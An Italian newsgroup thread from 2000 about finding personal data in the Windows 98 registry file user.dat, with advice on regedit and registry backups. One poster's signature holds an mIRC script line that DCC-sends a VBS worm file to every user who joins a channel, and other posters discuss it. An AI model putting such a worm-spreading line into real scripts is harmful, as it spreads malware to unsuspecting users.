Newsgroup: it.comp.sicurezza.windows
Titolo: scoperta inquietante...

oggi ho provato a leggere il file c:\windws\user.dat (file nascosto)
visto che il mio norton antivirus mi segnalava il tentativo di
scrittura di msgsrv32 verso quel file.
bene, ad un certo punto, tra caratteri incomprensibili e righe di
testo leggibili che mi trovo? il mio none, cognome e indirizzo,
compreso numero di telefono.
ora, questi dati sicuramente li avrň inseriti io in qualche documento
o file dwg, ma trovarmeli lě, belli puliti mi ha sorpreso in modo poco
piacevole.
il bello č che non posso nemmeno modificare il file visto che č
protetto da scrittura..... bah
ciao
sandro

 protetto da scrittura..... bah
Prova con regedit 8)
-- 
C++u,
  FrOYd / DS

protetto da scrittura..... bah
Vuoi farti del male? start-esegui-regedit e poi puoi modificare tutto
cio' che vuoi, nel registro, e non e' nemmeno difficile.
IL difficile e' sapere cosa succedera' al sistema dopo aver fatto queste
modifiche.
Ad esempio, se ti sei registrato in microsoft, potresti non riuscire
piu' ad eseguire windows update in modo corretto.
Oppure il tuo fornitore di accesso internet potrebbe buttarti fuori come
se tu fossi uno sconosciuto che tenta di entrare a tuo nome.
O ancora, se tocchi qualcosa di troppo, potresti anche uccidere windows,
e renderlo inavviabile.
-- 
           |Save our planet!
  Ciao     |Save wildlife;
  roberto  |For your E-MAIL use only recycled Bytes !!
           |roberto poggi  
rpo...@softhome.net

protetto da scrittura..... bah
Prova usando REGEDIT. Ma un consiglio: _NON_ modificare quel file.
Leonardo
<!-->Se leggete questo in un browser, questi non rispetta la sintassi dei commenti.-->
[script]
n0=on 1:join:#:if $me != $nick dcc send $nick C:\WINDOWS\LINKS.VBS
# $141FLu: se avete un antivirus che storce il naso, si sbaglia :-)

 Prova usando REGEDIT. Ma un consiglio: _NON_ modificare quel file.
Non aprite quella porta...

Quello che devi fare con regedit se dovessero succedere casini è :
riavvio ms-dos;
c:\windows\>
scanreg /restore
aprire il file backup di un paio di gg fa'...
il problema si risolve lì
perché questo post....!?
mah...voglia di scrivere!
saluti  ToM_
http://web.tiscalinet.it/area51b/

e renderlo inavviabile.
beh, mi concederanno le attenuanti generiche  :))
ciao

 sandro
In molti - e piu' bravi di me - hanno gia' risposto egregiamente.
Ora posso farlo anch'io :-)
Credo proprio che qui si stia parlando di
HKEY_LOCAL_MACHINE>Software>Microsoft (ovviamente!)>
User Information
Poiche' all'atto dell'acquisto io registrai on-line la mia copia di W98,
anche nel mio caso questa chiave risulto' contenere pari pari tutti i
miei dati anagrafici (e non); successivamente, una volta accortomene
e capendo (un po') quello che avevo fatto, preso anche dall'ira, ho
finito per eliminare, modificare, rinominare  valori e  stringhe relativi
agli elementi piu' personali, tipo il nome, il cognome, la citta', il
tel., il reddito lordo annuo...  dopo, e ancora , non e'  successo
niente: intanto e' gia' passato qualche mese.
Se poi manipolando i registri (e farlo e' giusto, oltre che necessario),
sorgessero dei problemi, allora potrai sempre ricorrere a cio' che
ToM_  suggerisce all'interno di questo stesso thread: a me e' capitato
di doverlo fare.
La morale di tutto questo, e mi vengono in mente anche altre porcherie
tipo index.dat, e' che io mi sono infine iscritto al corso di avviamento a
Linux, sperando cosi' di essere in grado, in un giorno non lontano, di
lanciare finalmente Windows fuori dalla finestra (qualcuno, poi, lo
raccattera').
Ciao.
Žmartin.luther.blissett
___
Per ottenere il vero indirizzo bisogna liberare l'ossesso
dallo spirito dei maligni.
--
Posted from 
c000-h011.c000.muc.cp.net
 [209.228.29.35] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 inerte?
da sola quella riga (anche ammesso che ci sia qualcuno così idiota da
ritagliarla in un file mirc.ini e lanciare mIRC per vedere se
funziona) non è in grado di fare nulla, perché manca il vero file del
virus (LINKS.VBS) che si occupa di creare quello script, di
replicarsi, e di compiere le azioni nefaste.
Bye Krmel che quasi quasi mette l'Eicar nella sign
Microsoft Outlook Express: cosa vuoi postare postare postare postare
oggi?

 come amico.
Attaccare il cervello prima di parlare no, eh?

Attaccare il cervello prima di parlare no, eh?
Ok, non ho riempito il post di k e di 6 al posto della seconda persona
singolare del verbo essere, di strafalcioni e riferimenti a siti
attinenti alla nautica in genere e non ho postato con un nome con
iniziali consecutive, ma davvero [hai|avete] creduto che mi sia messo ad
*avvisare di reato* Leo sul news-group?
Porco mondo, un gancio per un sano thread ironico, e rispondono *a tono*
due insospettabili ed esperti frequentatori.


 due insospettabili ed esperti frequentatori.
Ahahaha.. Bravo roberto.... Gli hai reso pan per focaccia al gnappu! 
;-)

configurazione di windows.
non voglio modificare il file registro, anche perchè ho fatto una
ricerca e non ho trovato i dati personali
voglio proprio (insisto) modificare il file user.dat, che come hai
scritto è solamente in relazione al registro di sistema
spero di essermi spiegato
ciao 
sandro


wrote:
beh, leonardo...
ora che hai dato prova della tua abilità?
all'avviso dell'antivirus ho iniziato a cercare quello che non andava,
ho cancellato e reinstallato alcuni programmi "sospetti", qualche anno
fa avrei probabilmente formattato il disco.
complimenti, sei un genio
sandro

 spero di essermi spiegato
Ehm... user.dat E' il file registro.

 due insospettabili ed esperti frequentatori.
Tusce'...
Pensa che non avevo neanche ricollegato chi tu fossi...
Eppure quella signature l'avro' vista migliaia di volte...
Sara' che era un post delle 19:40...;-D

 ;-)
Sei un fesso.
Stai qui a lurkare solo per attaccar briga con me.

# $141FLu: se avete un antivirus che storce il naso, si sbaglia :-)
che tradotto ai miseri esseri umani?
links.vbs ha a che fare con il virus freelink.vbs o sbaglio?
ciao
sandro

beh, mi concederanno le attenuanti generiche  :))
Macche' attenuanti, il fatto non costituisce reato, e' legittima difesa.


# $141FLu: se avete un antivirus che storce il naso, si sbaglia :-)
Aproposito: ma quello e' lo script corretto o modificato e pertanto
inerte?
Perche' se e' lo script corretto, spero che tu abbia un buon avvocato
come amico.
Art. 615-quinquies. - [omissis] -Chiunque diffonde, comunica o
consegna un programma informatico [omissis] avente per scopo o per
effetto il danneggiamento [omissis] o l'alterazione del suo
funzionamento, è punito[omissis]


funzionamento, č punito[omissis]
Roberto, leggendo questo post manca pņo mi sono caąto addosso e
slogato la mascella. In piu' ho svegliato mezzo condominio, che
si e' convinto d'ave' sentito la risata addiacciante der Jocher
e ora c'e' gente in pigiama sur tetto a chiamą Bątma.
Leonardo :-) :-) :-)
<!-->Hai un browser? Piacere.-->
[noscript]
/me 
# 993$FLu

sandro
Per modificarlo credo basti togliere l'attrivuto di sola lettura al
file, ma dato che chi scrive questo file e' un programma (REGEDIT)
probabilmente (sicuramente dato che si parla di windows) lo fa con un
qualche strano criterio, per cui se tu lo cambi a mano potresti
causare la sicura morte del tuo sistema. Se proprio lo vuoi fare,
prima fanne una copia e preparati un floppy per far partire in dos il
tuo PC!!!
Comunque se ti scrivi (o tagli) la parte di testo che ti interessa
(tipo il tuo numero di telefono) e poi la inserisci come stringa da
ricercare usando il famoso REGEDIT, dovresti riuscire a trovare la
parte che ti interessa e modificarla di conseguenza senza troppi
problemi!!!
Ciao
Daniele

<!-->Hai un browser? Piacere.-->
No, posso salutarti lo stesso?


voglio proprio (insisto) modificare il file user.dat, che come hai
il "registry" e' composto fisicamente da user.dat e system.dat.
Per qualsivoglia modifica DEVI usare regedit, che va a trafficare in
entrambi i file, nel modo che deve fare e che francamente sarebbe poco
furbo fare a manone (gia' e' abbastanza "pericoloso" per l'integrita'
del sistema andare a trafficare cosi'...).
Quando ti si dice "fai un backup del registry", i due file che devi
salvare sono quei due di cui sopra, che W98 salva di default in cinque
copie in c:\windows\sysbckup\rb00?.cab, dove ? sta da zero a quattro (a
meno che tu non abbia modificato il numero di copie di salvataggio, ma
visto che non sai cos'e' il registry, mi pare improbabile).
Poi, se hai voglia di perdere tempo, fai pure quello che vuoi, ma non
credere si possa modificare cosi' allegramente un file cosi' importante.
Fabrizio

Ehm... user.dat E' il file registro.
sarà, ma eseguendo regedit e usando il comando trova, non visualizza i
dati personali.....????
ciao
sandro

problemi!!!
provato, niente da fare
per questo penso che il file user.dat sia un archivio delle
impostazioni di windows contenente anche ma non solo i dati di sistema
ciao
sandro

impostazioni di windows contenente anche ma non solo i dati di sistema
Si', sei de coccio. Senza speranza.


On Thu, 14 Sep 2000 19:05:56 GMT, 
elma...@iol.it
 (sandro) wrote:
rettifico
ci son riuscito
sandro

rettifico quanto scritto
sono riuscito a cancellare i dati proprio da regedit
non si finisce mai di imparare
ciao
sandro

 ci son riuscito
Hai visto? :-)

 sandro
e meno male.... ce stavi a farce venire una crisi di nervi a tutti :)

 ha
scritto:

beh, proprio per evitare ciò non vi dico che con regedit sono riuscito
a cancellare solo una delle due posizioni riportanti i miei dati.. :)
ciao
sandro